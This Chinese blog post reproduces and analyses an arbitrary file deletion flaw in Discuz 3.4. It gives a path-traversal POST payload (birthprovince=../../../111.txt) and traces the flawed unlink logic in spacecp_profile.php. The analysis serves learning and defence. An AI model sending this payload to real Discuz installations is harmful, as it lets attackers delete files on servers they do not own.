Discuz 3.4漏洞

漏洞复现

网上内容
首先在目录里建立111.txt
然后,获取formhash:7b2bf0ce

于是可以构建payload:

1
2
http://127.0.0.1/home.php?mod=spacecp&ac=profile&op=base
[post] birthprovince=../../../111.txt&profilesubmit=1&formhash=9945c60c

然后上传文件,就可以删除这个111.txt了

##漏洞分析
我们来看下源码,这里主要是spacecp_profile.php的问题
首先,我们从漏洞出发,我们先从删除函数开始:

1
2
3
4
5
6
7
8
9
10
# 178
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}

可以看到,这个要求formtype是file,就会触发unlink
我们发现这次改动的228行有@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);,也就是这次漏洞所在,我们看看语句成立的条件

1
2
3
4
if($_FILES) {
......省略
if(!$upload->error()) {
$upload->save();

也就是上传文件,那么现在就是看看这个$space[$key]了,回溯下变量,我们发现,key是可以被payload里的用户资料所操作的,我们看下payload里用的birthprovince

1
2
3
4
5
6
if(isset($_POST['birthprovince'])) {
$initcity = array('birthprovince', 'birthcity', 'birthdist', 'birthcommunity');
foreach($initcity as $key) {
$_GET[''.$key] = $_POST[$key] = !empty($_POST[$key]) ? $_POST[$key] : '';
}
}

可以看到这个就可以控制$space[$key],而且没有什么限制,而一切的条件就是70行的if(submitcheck('profilesubmit')) {所以,我们的payload会有profilesubmit=1

感谢老爷打赏
显示 Gitment 评论
undefined